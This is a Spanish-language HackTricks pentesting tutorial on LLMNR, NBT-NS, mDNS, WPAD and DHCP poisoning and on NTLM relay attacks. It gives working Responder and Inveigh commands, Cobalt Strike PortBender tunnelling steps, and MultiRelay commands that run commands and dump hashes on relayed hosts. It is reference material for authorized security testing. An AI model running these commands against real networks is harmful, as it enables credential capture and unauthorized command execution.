9.7 KiB
Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relevo
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Protocolos de Red
Protocolos de Resolución de Host Local
- LLMNR, NBT-NS y mDNS:
- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando falla DNS. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
- Estos protocolos son susceptibles a la interceptación y suplantación debido a su naturaleza de difusión no autenticada sobre UDP.
- Responder se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
- Se puede encontrar más información sobre la suplantación de servicios utilizando Responder aquí.
Protocolo de Descubrimiento Automático de Proxy Web (WPAD)
- WPAD permite a los navegadores descubrir la configuración de proxy automáticamente.
- El descubrimiento se facilita a través de DHCP, DNS, o en caso de fallo de DNS, mediante LLMNR y NBT-NS.
- Responder puede automatizar ataques de WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.
Responder para Envenenamiento de Protocolos
- Responder es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
- Viene preinstalado en Kali Linux, configurable en
/etc/responder/Responder.conf
. - Responder muestra las hashes capturadas en pantalla y las guarda en el directorio
/usr/share/responder/logs
. - Es compatible con IPv4 e IPv6.
- La versión de Windows de Responder está disponible aquí.
Ejecutando Responder
- Para ejecutar Responder con la configuración predeterminada:
responder -I <Interfaz>
- Para un sondeo más agresivo (con posibles efectos secundarios):
responder -I <Interfaz> -P -r -v
- Técnicas para capturar desafíos/respuestas NTLMv1 para una descifrado más fácil:
responder -I <Interfaz> --lm --disable-ess
- La suplantación de WPAD se puede activar con:
responder -I <Interfaz> --wpad
- Las solicitudes de NetBIOS se pueden resolver a la IP del atacante, y se puede configurar un proxy de autenticación:
responder.py -I <interfaz> -Pv
Envenenamiento DHCP con Responder
- La suplantación de respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
- Requiere un conocimiento preciso de la configuración de red del objetivo.
- Para ejecutar el ataque:
./Responder.py -I eth0 -Pdv
- Este método puede capturar eficazmente hashes NTLMv1/2, pero requiere un manejo cuidadoso para evitar interrupciones en la red.
Capturando Credenciales con Responder
- Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intenta autenticarse contra los servicios falsificados.
- Se pueden realizar intentos para degradar a NetNTLMv1 o deshabilitar ESS para facilitar el descifrado de credenciales.
Es crucial tener en cuenta que el uso de estas técnicas debe realizarse de manera legal y ética, asegurando la autorización adecuada y evitando la interrupción o el acceso no autorizado.
Inveigh
Inveigh es una herramienta para pentesters y equipos de red, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando suplantaciones y ataques de intermediario. La herramienta ha evolucionado desde un script de PowerShell a un binario de C#, con Inveigh y InveighZero como las principales versiones. Se pueden encontrar parámetros detallados e instrucciones en la wiki.
Inveigh se puede operar a través de PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
O ejecutado como un binario de C#:
Inveigh.exe
Ataque de Relevo NTLM
Este ataque aprovecha sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:
- El usuario autenticado debe tener acceso de Administrador Local en el host de retransmisión.
- La firma SMB debe estar deshabilitada.
Reenvío y Túneles de Puerto 445
En escenarios donde la introducción directa a la red no es factible, el tráfico en el puerto 445 debe ser reenviado y tunelizado. Herramientas como PortBender ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se dispone de acceso de administrador local para la carga de controladores.
Configuración y operación de PortBender en Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Otras Herramientas para Ataque de Relevo NTLM
- Metasploit: Configurado con proxies, detalles del host local y remoto.
- smbrelayx: Un script en Python para relé de sesiones SMB y ejecutar comandos o desplegar puertas traseras.
- MultiRelay: Una herramienta de la suite Responder para relé de usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.
Cada herramienta se puede configurar para operar a través de un proxy SOCKS si es necesario, permitiendo ataques incluso con acceso de red indirecto.
Operación de MultiRelay
MultiRelay se ejecuta desde el directorio /usr/share/responder/tools, apuntando a IPs o usuarios específicos.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Forzar Inicios de Sesión NTLM
En Windows puede ser posible forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias. Lee la siguiente página para aprender cómo:
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}
Referencias
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.